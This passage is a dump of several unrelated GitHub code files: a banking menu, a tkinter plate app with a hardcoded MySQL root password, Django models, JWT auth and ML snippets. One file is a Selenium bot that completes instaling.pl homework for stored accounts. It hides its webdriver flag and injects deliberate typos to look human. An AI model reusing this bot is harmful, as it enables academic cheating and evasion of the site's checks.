  \"\"\"Apresentar Bancos Cadastrados\n\n    > Argumentos:\n        - file_path (str): Caminho para arquivo contendo dados.\n\n    > Output:\n        - Sem output. \n    \"\"\"\n    # Resgatar lista de bancos\n    bancos = listar_registros(file_path)\n\n    # Apresenta cabecalho\n    sleep(0.5)\n    templates.cabecalho_resumo(\"BANCOS CADASTRADOS\")\n    sleep(1)\n    \n    # Apresenta lista de bancos\n    if len(bancos) == 0:\n        print(f\"  > Nenhum banco cadastrado!\")\n\n    else:\n        # bancos em ordem alfabética\n        bancos.sort()\n        \n        # Apresentar lista de bancos\n        for banco in bancos:\n            print(f\"  > {banco}\")\n    \n    # Rodapé\n    templates.rodape_resumo()\n    sleep(1)\n\n\ndef clientes_cadastrados(file_path:str):\n    \"\"\"Apresentar Clientes Cadastrados\n\n    > Argumentos:\n        - file_path (str): Caminho para arquivo contendo dados.\n\n    > Output:\n        - Sem output. \n    \"\"\"\n    # Resgatar lista de clientes\n    clientes = listar_registros(file_path)\n\n    # Apresenta cabecalho\n    sleep(0.5)\n    templates.cabecalho_resumo(\"CLIENTES CADASTRADOS\")\n    sleep(1)\n    # Apresenta lista de clientes\n    if len(clientes) == 0:\n        print(f\"  > Nenhum cliente cadastrado!\")\n\n    else:\n        # Lista de clientes em ordem alfabética\n        clientes = sorted([cliente.split(\";\")[::-1] for cliente in clientes])\n        \n        # Apresentar lista de clientes\n        for cliente in clientes:\n            print(f\"  > {cliente[0]} [CPF: {cliente[1]}]\")\n    \n    # Rodapé\n    templates.rodape_resumo()\n    sleep(1)\n\n\ndef main():\n    \"\"\"Sistema para Cadastros de Bancos e Contas\n\n    > Argumentos:\n        - Sem argumentos.\n    \n    > Output:\n        - Sem output.\n    \"\"\"\n    # Apresenta menu principal\n    while True:\n\n        # Lista de opcoes do menu\n        opcoes_menu = [\n            \"Cadastrar Cliente\",\n            \"Cadastrar Banco\",\n            \"Cadastrar Nova Conta\",\n            \"Listar Clientes Cadastrados\",\n            \"Listar Bancos Cadastrados\",\n            \"Listar Contas Cadastradas\",\n            \"Consultar Saldo\",\n            \"Realizar Saque\",\n            \"Realizar Depósito\",\n            \"Sair do sistema\",\n            ]\n\n        # Apresentar menu e captar opcao do usuario\n        templates.cabecalho_menu(\"SISTEMA DE CADASTRO BANCÁRIO v1.0!\")\n        print(\"\\n> Menu Principal:\\n\")\n        for pos, opcao in enumerate(opcoes_menu):\n            print(f\"[{pos+1}] {opcao}\")\n        opcao = ler_opcao(1, len(opcoes_menu), \"\\nDigite um opção: \")\n\n        # Cadastrar Pessoa\n        if opcao == 1:\n            res = cadastro_cliente()\n            print(res[1])\n            print(\"-\"*50)\n              \n        # Cadastrar Banco\n        elif opcao == 2:\n            res = cadastro_banco()\n            print(res[1])\n            print(\"-\"*50)\n        \n        # Cadastrar Nova Conta\n        elif opcao == 3:\n            p = selecionar_cliente(PESSOAS_PATH)    # Pessoa\n            b = selecionar_banco(BANCOS_PATH)       # Banco\n            s = 0                                   # Saldo\n            # s = ler_float(\"\\nSaldo inicial (R$): \", 0)\n            res = cadastro_conta(p, b, s)\n            print(res[1])\n            print(\"-\"*50)\n        \n        # Listar Clientes Cadastrados\n        elif opcao == 4:\n            clientes_cadastrados(PESSOAS_PATH)\n\n        # Listar Bancos Cadastrados\n        elif opcao == 5:\n            bancos_cadastrados(BANCOS_PATH)\n        \n        # Listar Contas Cadastradas\n        elif opcao == 6:\n            contas_cadastradas(CONTAS_PATH)\n        \n        # Consultar Saldo\n        elif opcao == 7:\n            pass\n        \n        # Realizar Saque\n        elif opcao == 8:\n            pass\n        \n        # Realizar Depósito\n        elif opcao == 9:\n            pass\n        \n        # Sair do sistema\n        elif opcao == 10:\n            sys.exit(\"\\nSaindo, até logo!...\\n\")\n\n        # Indicar opção inválida\n        else:\n            print(\"Opção inválida!\\n\")\n\n\nif __name__ == \"__main__\":\n\n    # Executar sistema se estiver no namespace principal\n    main()\n    ","repo_name":"boenomarcus/entra21_py","sub_path":"aulas_bruno/20201111_poo_banco/banco.py","file_name":"banco.py","file_ext":"py","file_size_in_byte":12294,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"7581808861","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nimport tkinter, sys\r\nimport mysql.connector\r\n\r\n\r\nimport main\r\n\r\ndef add():\r\n    if bnum.get()==\"\":\r\n        messagebox.showinfo(\"Error\",\"Enter Number Plate\",parent=root)\r\n    \r\n    else:\r\n        main.add_blacklist(bnum.get())\r\n\r\ndef blacklist():\r\n\troot = Tk()\r\n\troot.geometry(\"700x250\")\r\n\troot.title('Blacklist') \r\n\tmy_connect = mysql.connector.connect(\r\n\t  host=\"localhost\",\r\n\t  user=\"root\",\r\n\t  passwd=\"u:nz48UV\",\r\n\t  database=\"vehicle_number\"\r\n\t)\r\n\tmy_conn = my_connect.cursor()\r\n\t####### end of connection ####\r\n\t\r\n\t\r\n\t\r\n\t\r\n\tdef remove_blacklist():\r\n\r\n\t\tdef remove_plate():\r\n\t\t    try:\r\n\t\t        conn = mysql.connector.connect(host=\"localhost\",\r\n\t\t                                       user=\"root\",\r\n\t\t                                       password=\"u:nz48UV\",\r\n\t\t                                       database=\"vehicle_number\"\r\n\t\t                                       )\r\n\t\t        my_cursor = conn.cursor()\r\n\t\t        query= \"delete from blacklist where numberplate = %s\"\r\n\t\t        #val = blacklist_num1.get()\r\n\t\t        \r\n\t\t        #val = numplate1.get()\r\n\t\t        val = (numplate1.get(),)\r\n\t\t        \r\n\t\t        my_cursor.execute(query,val)\r\n\t\t        conn.commit()\r\n\t\t        conn.close()\r\n\t\t        \r\n\t\t        messagebox.showinfo(\"Success\", numplate1.get() + \" Removed Successfully\")\r\n\t\t        \r\n\t\t        #messagebox.showinfo(\"Success\", blacklist_num1.get() + \"Removed Successfully\")\r\n\t\t    except Exception as es:\r\n\t\t        messagebox.showerror(\"Error\", f\"Due to :{str(es)}\")\r\n\t\t\r\n\t\troot = Tk()\r\n\t\troot.geometry(\"700x250\")\r\n\t\troot.title('Blacklist') \r\n\t\t\r\n\t\tnumplate1 = Entry(root,textvariable='blacklist_num1', font=('times new roman', 18), bg='lightgray')\r\n\t\tnumplate1.place(x=40, y=10, width=250)\r\n\t\t\r\n\t\t#numplate1 = Entry(root, textvariable=blacklist_num1)\r\n\t\t#numplate1.place(x=40, y=10)\r\n\t\tadd = Button(root, text=\"Remove\",command=remove_plate , cursor=\"hand2\", bg=\"White\")\r\n\t\tadd.place(x=40, y=50, height=30, width=60)\r\n\t\r\n\t\r\n\t\r\n\tremove_btn = ttk.Button(root, text=\"remove\",command=remove_blacklist)\r\n\tremove_btn.place(x=500,y=10 ,width =60, height= 25)\r\n\t\r\n\t\r\n\t\r\n\t\r\n\tmy_conn.execute(\"SELECT * FROM blacklist\")\r\n\te=Label(root,width=20,text='ID',borderwidth=2, relief='ridge',anchor='w',bg='green')\r\n\te.grid(row=0,column=0)\r\n\te=Label(root,width=20,text='numberplate',borderwidth=2, relief='ridge',anchor='w',bg='green')\r\n\te.grid(row=0,column=1)\r\n\te=Label(root,width=20,text='Date',borderwidth=2, relief='ridge',anchor='w',bg='green')\r\n\te.grid(row=0,column=2)\r\n\ti=1\r\n\tfor blacklist in my_conn: \r\n\t\tfor j in range(len(blacklist)):\r\n\t\t\te = Entry(root, width=20, fg='blue') \r\n\t\t\te.grid(row=i, column=j) \r\n\t\t\te.insert(END, blacklist[j])\r\n\t\ti=i+1\r\n\troot.mainloop()\r\n\t\r\n\t\r\ndef whitelist():\r\n\troot = Tk()\r\n\troot.geometry(\"500x250\")\r\n\troot.title('Whitelist') \r\n\tmy_connect = mysql.connector.connect(\r\n\t  host=\"localhost\",\r\n\t  user=\"root\",\r\n\t  passwd=\"u:nz48UV\",\r\n\t  database=\"vehicle_number\"\r\n\t)\r\n\tmy_conn = my_connect.cursor()\r\n\t####### end of connection ####\r\n\tmy_conn.execute(\"SELECT * FROM whitelist\")\r\n\te=Label(root,width=20,text='ID',borderwidth=2, relief='ridge',anchor='w',bg='green')\r\n\te.grid(row=0,column=0)\r\n\te=Label(root,width=20,text='numberplate',borderwidth=2, relief='ridge',anchor='w',bg='green')\r\n\te.grid(row=0,column=1)\r\n\te=Label(root,width=20,text='Date',borderwidth=2, relief='ridge',anchor='w',bg='green')\r\n\te.grid(row=0,column=2)\r\n\ti=1\r\n\tfor whitelist in my_conn: \r\n\t\tfor j in range(len(whitelist)):\r\n\t\t\te = Entry(root, width=20, fg='blue') \r\n\t\t\te.grid(row=i, column=j) \r\n\t\t\te.insert(END, whitelist[j])\r\n\t\ti=i+1\r\n\troot.mainloop()\r\n\r\n\r\n\r\nroot = Tk()\r\nroot.geometry('1350x710+0+10')\r\nroot.title('Vehicle number plate scanning System')\r\nbglogin = PhotoImage(file='loginbg.png')\r\nbgloginLabel = Label(root, image=bglogin)\r\nbgloginLabel.place(x=0, y=0)\r\n#root['bg']='green'\r\nroot.resizable(False, False)\r\n\r\nregisterFrame = Frame(root, bg='white', width=650, height=650)\r\nregisterFrame.place(x=630, y=30)\r\n\r\ntitleLabel = Label(registerFrame, text='VNPSS', font=('arial', 22, 'bold '), bg='white',\r\n                   fg='deep pink', )\r\ntitleLabel.place(x=200, y=5)\r\n\r\n\r\nbnum = StringVar()\r\npicture_btn = ttk.Button(root, text=\"Upload image\", command=main.pic_recog)\r\npicture_btn.place(x=100,y=100 ,width =100, height= 50)\r\n\r\nVideo_btn = ttk.Button(root, text=\"Video capture\", command=main.video_recog)\r\nVideo_btn.place(x=220,y=100 ,width =100, height= 50)\r\n\r\nusername_entry = ttk.Entry(root, textvariable=bnum)\r\nusername_entry.place(x=100,y=230)\r\nAdd_blacklist = ttk.Button(root, text=\"Add to blacklist\", command=add)\r\nAdd_blacklist.place(x=100,y=260 ,width =120, height= 50)\r\n\r\nshow_blacklist = ttk.Button(root, text=\"Show Blacklist\", command=blacklist)\r\nshow_blacklist.place(x=100,y=320 ,width =110, height= 50)\r\n\r\nshow_blacklist = ttk.Button(root, text=\"Show whitelist\", command=whitelist)\r\nshow_blacklist.place(x=220,y=320 ,width =110, height= 50)\r\n\r\n\r\n\r\n\r\n#closebutton = Button(registerFrame, text='close', cursor='hand2', activebackground='red', activeforeground='white', command = end )\r\n#closebutton.place(x=250, y=580,width =70, height= 30)\r\n\r\n\r\n\r\nroot.mainloop()\r\n\r\n\r\n","repo_name":"nabim777/Vehicle-Number-Plate-Scanning-System","sub_path":"login/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":5194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"14749209110","text":"\nimport numpy as np\nimport os\nimport skimage\nimg_width=100\nimg_height=50\nimg = np.zeros([img_height,img_width,1],dtype=np.uint8)\nfolder_script=os.path.dirname(__file__)\nlst_colors=[100,150,200]\nfor color in lst_colors:\n    filename=\"Numpy.BlankImage.%d.png\" % color\n    file_result=os.path.join(folder_script,\"../out/\",filename)\n    img.fill(color)\n    skimage.io.imsave(file_result,img)\n\n","repo_name":"sdg002/PythonExperiements","sub_path":"SimpleSnippets/NumpyBlankImage/demo.mono.py","file_name":"demo.mono.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"2895484542","text":"from allura.tests import TestController\nfrom allura.tests import decorators as td\nfrom allura.model.notification import Mailbox\nfrom allura import model as M\n\n\nclass TestSubscriber(TestController):\n\n    @td.with_user_project('test-admin')\n    @td.with_wiki\n    def test_add_subscriber(self):\n\n        response = self.app.get(\"/nf/admin/add_subscribers\")\n        assert \"<h1>Add Subscribers to Artifact</h1>\" in response\n\n        self.app.post(\"/nf/admin/add_subscribers\", params=dict(\n            for_user=\"root\",\n            artifact_url=\"http://localhost:8080/u/test-admin/wiki/Home/\"))\n\n        assert 1 == Mailbox.query.find(dict(\n            user_id=M.User.by_username(\"root\")._id,\n            artifact_url=\"/u/test-admin/wiki/Home/\")).count()\n","repo_name":"Bitergia/allura","sub_path":"Allura/allura/tests/functional/test_subscriber.py","file_name":"test_subscriber.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"37475230095","text":"# instaling 7a.202208025.82\n# /instaling.pl/\n# most basic wersja, zacznij od stworzenia bazy danych\n# geckodriver pobierz do folderu C:\\Drivers\\geckodriver-v0.32.0-win64\\geckodriver.exe albo dodaj do $PATH\n# https://github.com/mozilla/geckodriver/releases\n# pobierz ublock origin do pobranych\n# https://addons.mozilla.org/firefox/downloads/file/4003969/ublock_origin-1.44.4.xpi\n\nfrom time import sleep\nimport glob\nfrom os import path\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver import Firefox\nfrom selenium.webdriver.firefox.service import Service\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom random import uniform,random,sample\nimport sqlite3 as sl\n\n###     setup\n\n\ndef db_create_table(con):\n    with con:\n        try:\n            con.execute(\"\"\"\n                CREATE TABLE wyrazenia (\n                    id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n                    pol TEXT,\n                    ang TEXT,\n                    exmpl TEXT\n                );\n            \"\"\")\n            \n            print(\"Added 'wyrazenia' table to the database\")\n        except Exception as Err:\n            print(Err)\n        try:\n            con.execute(\"\"\"\n                CREATE TABLE users (\n                    id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n                    login TEXT,\n                    password TEXT\n                );\n            \"\"\")\n            print(\"Added 'users' table to the database\")\n        except Exception as Err:\n            print(Err)\n            \n\ndef db_add_user_acc(con, usr):\n    cur = con.cursor()\n    cur.execute(\"\"\"\n                    INSERT INTO users \n                            (login, password) \n                    VALUES  (?, ?)\n                    \"\"\",    (usr[0], usr[1]))\n    con.commit()\n    cur.close()\n    \ndef db_delete_random(con, n):\n    cur = con.cursor()\n    cur.execute(\"select * from wyrazenia\")\n    n_entries = len(cur.fetchall())\n    randomlist = sample(range(1, n_entries), n)\n    try:\n        for i in randomlist:\n            sql = 'DELETE FROM wyrazenia WHERE id=?'\n            cur = con.cursor()\n            cur.execute(sql, (i,))\n        con.commit()\n    except Exception as Err:\n        print(Err)\n    cur.close()\n    \n\n    \ntry:\n    user = path.expanduser('~')\n    firefox_path = f\"{user}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\\"\n    profile_path = [i if i.endswith(\".default-release\") else None for i in glob.glob(firefox_path + \"*\")]\nexcept Exception as Err:\n    print(Err)\n    \n\nadblockfile = f\"{user}\\\\Downloads\\\\ublock_origin-1.44.4.xpi\"\noptions=Options()\noptions.set_preference('profile', profile_path[0])\noptions.set_preference(\"extensions.ublock_origin.currentVersion\", \"1.44.4\")\noptions.set_preference(\"dom.webdriver.enabled\", False)\noptions.set_preference('useAutomationExtension', False)\noptions.add_argument('--disable-blink-features=AutomationControlled')\nservice = Service('C:\\Drivers\\geckodriver-v0.32.0-win64\\geckodriver.exe')\ndriver = Firefox(service=service, options=options)\nprint(\"Started webdriver\")\ndriver.install_addon(adblockfile, temporary=True)\nprint(\"Installed ublock Origin\")\nprint(profile_path)\n\n\ndriver.get(\"https://instaling.pl/\")\n\nWebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.XPATH,'/html/body/nav/a[2]/div[1]'))).click()\n# sleep(round(uniform(2, 2.769), 4))\n\n\nfail_chance = 0.05\ndef Login_on_page(username, password):\n    driver.find_element(By.XPATH,'//*[@id=\"log_email\"]').send_keys(username)\n    driver.find_element(By.XPATH,'//*[@id=\"log_password\"]').send_keys(password)\n    WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH,'/html/body/div/div[3]/form/div/div[3]/button'))).click()\n    # sleep(round(uniform(2, 2.769), 4))\n    WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.XPATH,'/html/body/div[1]/div[2]/div/p[1]/a'))).click()\n    # sleep(round(uniform(2, 2.769), 4))\n    try:\n        WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"start_session_button\"]'))).click()\n        # sleep(round(uniform(2, 2.769), 4))\n    except:\n        try:\n            WebDriverWait(driver, 3).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"continue_session_button\"]'))).click()\n            # sleep(round(uniform(2, 2.769), 4))\n        except Exception as E:\n            print(\"Err while starting the session: \" + E)\n\n\ndef Find_translation(cur, pol, exmpl):\n    try:\n        cur.execute(\"SELECT * FROM wyrazenia WHERE pol=? AND exmpl=?\", (pol,exmpl))\n        answer = cur.fetchone()\n        cur.close()\n        return answer\n    except:\n        print(\"Couldn't find the translation\")\n\n\n\ndef Input_answer(answer: str):\n    try:\n        a = answer\n        if random() < fail_chance:\n            if random() < 0.5:\n                method = \"method.1\"\n                a = answer.lower()\n                a.replace(\"e\", \"r\")\n                a.replace(\"a\", \"q\").upper()\n                a = a[:1] + \"j\" + a[1+1:]\n            else:\n                method = \"method.2\"\n                a = answer.lower()\n                a.replace(\"e\", \"w\")\n                a.replace(\"a\", \"s\").upper()\n                a = a[:0] + \"n\" + a[0+1:]\n            print(f\"RANDOM 5% FAIL CHANCE, modified word to contain small mistakes with {method}\")\n        \n            \n        driver.find_element(By.XPATH,'//*[@id=\"answer\"]').send_keys(a)\n        print(f\"Entered word {a}\")\n        # sleep(round(uniform(2, 3.769), 4))\n        WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"check\"]'))).click()\n        # sleep(round(uniform(2, 2.769), 4))\n        WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"nextword\"]'))).click()\n    except Exception as Err:\n        print(Err)\n        print(\"Err while inputing the answer\")\n        \n\ndef Find_definition(con, cur, pol, exmpl):\n    try:\n        print(f\"{pol}: word not found in the database\")\n        WebDriverWait(driver, 2).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"check\"]'))).click()\n        # sleep(round(uniform(2, 2.769), 4))\n        ang = driver.find_element(By.XPATH, '//*[@id=\"word\"]').text\n        cur.execute(\"\"\"\n                    INSERT INTO wyrazenia \n                            (pol, ang, exmpl) \n                    VALUES  (?, ?, ?)\n                    \"\"\",    (pol, ang, exmpl))\n        con.commit()\n        cur.close()\n        print(\"Added new word to the database\")\n        \n    except:\n        print(\"Word doesn't have a definition\")\n\ndef Solve_exercises(con, username, password):\n    Login_on_page(username, password)\n    while True:\n        try: \n            pol = driver.find_element(By.CSS_SELECTOR, 'div[class=\"translations\"]').text\n            exmpl = driver.find_element(By.XPATH,'/html/body/div/div[8]/div[1]/div[1]').text\n            # sleep(round(uniform(2, 2.769), 4))\n            cur = con.cursor()\n            result = Find_translation(cur, pol, exmpl)\n            if result:\n                print(f\"'{pol}': word found in the database\")\n                cur = con.cursor()\n                answer = Find_translation(cur, pol, exmpl)\n                try:\n                    Input_answer(answer[2])\n                except:\n                    continue\n            else:\n                cur = con.cursor()\n                Find_definition(con, cur, pol, exmpl)\n                try:\n                    WebDriverWait(driver, 1).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"nextword\"]'))).click()\n                    print(\"Next word\")\n                    # sleep(round(uniform(2, 2.769), 4))\n                except:\n                    print(\"Couldn't go to the next word\")\n                    try:\n                        WebDriverWait(driver, 1).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"dont_know_new\"]'))).click()\n                        WebDriverWait(driver, 1).until(EC.element_to_be_clickable((By.XPATH,'//*[@id=\"skip\"]'))).click()\n                    except:\n                        break\n        except:\n            print(\"Finished the exercise\")\n            break\n    try:\n        # Uncomment to automatically log out\n        # # WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.XPATH,'/html/body/div/div[2]/img[1]'))).click()\n        # # WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.XPATH,'/html/body/div[1]/div[2]/div/p[10]/a'))).click()\n        # # WebDriverWait(driver, 5).until(EC.element_to_be_clickable((By.XPATH,'/html/body/div/div[3]/p[4]/a'))).click()\n        print(\"User completed\")\n    except:\n        print(\"Couldn't log out\")\n    return 0 \n        \n        \n        \ndef start_from_db(con):\n    cur = con.cursor()\n    cur.execute(\"SELECT login, password FROM users\")\n    users = cur.fetchall()\n    # print(users)\n    for i in users:\n        Solve_exercises(con, i[0], i[1])\n    cur.close()\n\n\n\ndef main():\n    with sl.connect('wyrazenia.db') as con:    \n        # db_create_table(con)\n        # db_add_user_acc(con, (\"login\", \"password\"))\n        db_delete_random(con, 15)\n        start_from_db(con)\n    \nif __name__ == \"__main__\":\n    main()\n### todo: add a word counter\n","repo_name":"isodiff/wakeupmurzyn","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35746899780","text":"from django.db import models\nfrom django.db.models.fields import related\nfrom django.conf import settings\nfrom django_countries.fields import CountryField\nfrom django.utils.translation import gettext_lazy as _\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\n\nETHCHOICES = (\n    (\"Ethnicity\", \"Ethnicity\"),\n    (\"African\", \"African\"),\n    (\"African American\", \"African American\"),\n    (\"Arab\", \"Arab\"),\n    (\"Asian\", \"Asian\"),\n    (\"Any other Asian background\", \"Any other Asian background\"),\n    (\"Bangladeshi\", \"Bangladeshi\"),\n    (\"Caribbean\", \"Caribbean\"),\n    (\"Chinese\", \"Chinese\"),\n    (\"English\", \"English\"),\n    (\"Gypsy or Irish Traveller\", \"Gypsy or Irish Traveller\"),\n    (\"Hispanic\", \"Hispanic\"),\n    (\"Indian\", \"Indian\"),\n    (\"Irish\", \"Irish\"),\n    (\"Mixed or Multiple background\", \"Mixed or Multiple background\"),\n    (\"Mixed or Multiple ethnic groups\", \"Mixed or Multiple ethnic groups\"),\n    (\"Native American\", \"Native American\"),\n    (\"Northern Irish\", \"Northern Irish\"),\n    (\"Pacific Islander\", \"Pacific Islander\"),\n    (\"Pakistani\", \"Pakistani\"),\n    (\"Scottish\", \"Scotish\"),\n    (\"White\", \"White\"),\n    (\"White and Black African\", \"White and Black African\"),\n    (\"White and Black Caribbean\", \"White and Black Caribbean\"),\n    (\"Welsh\", \"Welsh\"),\n)\n\n\ndef passport_filepath(self, filename):\n    return f\"passports/{self.id}/passport.pdf\"\n\n\ndef cv_filepath(self, filename):\n    return f\"cvs/{self.id}/cv.pdf\"\n\n\ndef visa_filepath(self, filename):\n    return f\"visas/{self.id}/visa.pdf\"\n\n\nclass Skill(models.Model):\n    name = models.CharField(\n        verbose_name=_(\"skill\"),\n        max_length=55,\n    )\n\n    def __str__(self):\n        return f\"{self.name}\"\n\n\nclass SeekerProfile(models.Model):\n    user = models.OneToOneField(\n        settings.AUTH_USER_MODEL,\n        on_delete=models.CASCADE,\n        related_name=\"SeekerProfile\",\n    )\n\n    date_of_bith = models.DateField(\n        verbose_name=_(\"Date of Birth\"),\n        blank=True,\n        null=True,\n    )\n\n    phone_number = models.CharField(\n        verbose_name=_(\"Phone number\"),\n        max_length=50,\n        blank=True,\n        null=True,\n        unique=True,\n    )\n\n    city = models.CharField(\n        verbose_name=_(\"City\"),\n        max_length=50,\n        blank=True,\n        null=True,\n    )\n\n    state = models.CharField(\n        verbose_name=_(\"State \"),\n        max_length=50,\n        blank=True,\n        null=True,\n    )\n\n    country = CountryField(\n        verbose_name=_(\"Country\"),\n        max_length=50,\n        blank=True,\n        null=True,\n    )\n\n    ethnicity = models.CharField(\n        verbose_name=_(\"Ethnicity\"),\n        max_length=50,\n        choices=ETHCHOICES,\n        blank=True,\n        null=True,\n    )\n\n    skills = models.ManyToManyField(\n        Skill,\n        verbose_name=_(\"Skills\"),\n        related_name=\"seeker_profiles\",\n        blank=True,\n    )\n\n    cv = models.FileField(\n        upload_to=cv_filepath,\n        blank=True,\n        null=True,\n    )\n\n    passport = models.FileField(\n        upload_to=passport_filepath,\n        blank=True,\n        null=True,\n    )\n\n    visa = models.FileField(\n        upload_to=visa_filepath,\n        blank=True,\n        null=True,\n    )\n\n    def __str__(self):\n        return f\"{self.user.first_name} {self.user.last_name}\"\n\n\nclass Qualification(models.Model):\n    seeker_profile = models.ForeignKey(\n        SeekerProfile,\n        on_delete=models.CASCADE,\n        related_name=\"qualifications\",\n        default=None,\n    )\n    title = models.CharField(\n        max_length=255,\n        blank=True,\n        null=True,\n    )\n    body = models.TextField(\n        blank=True,\n        null=True,\n    )\n\n    def __str__(self):\n        return f\"{self.title}\"\n\n\nclass Experience(models.Model):\n    seeker_profile = models.ForeignKey(\n        SeekerProfile,\n        on_delete=models.CASCADE,\n        related_name=\"experiences\",\n        default=None,\n    )\n    title = models.CharField(\n        max_length=255,\n        blank=True,\n        null=True,\n    )\n    body = models.TextField(\n        blank=True,\n        null=True,\n    )\n\n    def __str__(self):\n        return f\"{self.title}\"\n","repo_name":"captjay98/AB-PRJ1","sub_path":"api/seekers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16726595831","text":"import base64\nimport logging\nimport time\nfrom functools import wraps\nfrom typing import NamedTuple\nfrom uuid import uuid4\n\nimport jwt\nfrom flask import current_app, g, request\nfrom flask_restful import Resource, abort\n\nlog = logging.getLogger(__name__)\n\n\ndef create_auth_token(user_id: int, login: str, user_name: str):\n    iat = time.time()\n    payload = {\n        'exp': iat + current_app.config['TTL_AUTH_TOKEN'],\n        'iat': iat,\n        'sub': user_id,\n        'jti': str(uuid4().hex),\n        'utl': login,\n        'ufn': user_name\n    }\n    return jwt.encode(payload, current_app.config['SECRET_KEY'], algorithm='HS256')\n\n\ndef get_user_id():\n    return g.user_auth.user_id\n\n\nclass AuthUser(NamedTuple):\n    email: str\n    session_id: str\n    user_id: int\n\n\ndef validate_jwt(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        token_header = request.headers.get('Authorization')\n        if not token_header:\n            abort(401)\n        try:\n            decoded_token = base64.b64decode(token_header.split()[1]).decode('utf-8')\n            g.token_data = jwt.decode(decoded_token, current_app.config['SECRET_KEY'], algorithms=['HS256'])\n        except Exception:\n            log.exception('Auth token decode error: %r', token_header)\n            abort(401)\n        token_exp = g.token_data.get('exp') or current_app.config['TTL_AUTH_TOKEN']\n        token_ttl = time.time() - g.token_data.get('iat')\n        if token_ttl >= token_exp:\n            log.debug('Token was expired')\n            abort(401)\n        try:\n            g.user_auth = AuthUser(g.token_data['utl'], g.token_data['jti'], g.token_data['sub'])\n        except Exception:\n            log.debug('Error during adding user auth data')\n            abort(401)\n        return func(*args, **kwargs)\n    return wrapper\n\n\nclass AuthenticatedResource(Resource):\n    method_decorators = [validate_jwt]\n","repo_name":"Zercos/Coin","sub_path":"api/app/util/auth_tools.py","file_name":"auth_tools.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9067224165","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb  5 22:32:02 2019\n\n@author: moshiur\n\"\"\"\nimport pandas as pd\nimport numpy as np\n\n# import custom functions\nfrom removeUniqueFeature import removeUniqueFeature\nfrom imputeWithAvgValue import imputeWithAvgValue\nfrom oneHotEncode import ohe_categorical_data\n\n# to build a NN model using Tensorflow\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\n\n# import classical classification models\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.tree import DecisionTreeClassifier\n\n# import data\ntrainData = pd.read_csv(\"titanic_data/train.csv\")\ntestData = pd.read_csv(\"titanic_data/test.csv\")\n\n#####   data preparation ##########\n# features with null value\ntrainData.apply(lambda x: x.isnull().any())\n\n# select features\nselectFeatures = list(trainData.columns.values)\ntargetCol = 'Survived'\nselectFeatures.remove(targetCol)\n\n# remove features with unique values\nselectFeatures = removeUniqueFeature(trainData, selectFeatures)\n\n# remove features that are not significant\nselectFeatures.remove('Cabin')\nselectFeatures.remove('Ticket')\n\n#\ntrainData_selfeat = trainData[selectFeatures]\n# impute age with average value\ntrainData_selfeat = imputeWithAvgValue(trainData_selfeat)\n# impute the Embarked feature\ntrainData_selfeat.Embarked.fillna(value = 'X', inplace=True)\n# one hot encode categorical values Embarked and Sex\ntrainData_ohe = ohe_categorical_data(trainData_selfeat, ['Embarked', 'Sex'], prefix=['Embarked', 'Sex'])\n\n# split the trainData_ohe into training and test sets\nseed = 42\nnp.random.seed(seed)\nX_train, X_test, Y_train, Y_test = train_test_split(trainData_ohe, trainData.Survived, test_size=0.2)\n\n# create a Logistic regression classification model\nLogReg_clf = LogisticRegression()\nLogReg_clf.fit(X_train, Y_train)\n# predict on test set\npredict_lgc = LogReg_clf.predict(X_test)\n# accuracy of the LG classifier\naccuracy_lgc = accuracy_score(predict_lgc, Y_test)\nprint('Accuracy of logictic regression model is: {} '.format(accuracy_lgc))\n\n\n# Classification using Decision Tree classifier\nDt_clf = DecisionTreeClassifier(max_depth=20)\nDt_clf.fit(X_train, Y_train)\npredict_dtc = Dt_clf.predict(X_test)\naccuracy_dtc = accuracy_score(predict_dtc, Y_test) \nprint('Accuracy of Decission Tree Classifier is: {}'.format(accuracy_dtc))\n\n# classification using RadomForest Classifier\nRf_clf = RandomForestClassifier(n_estimators=100, max_leaf_nodes=16, 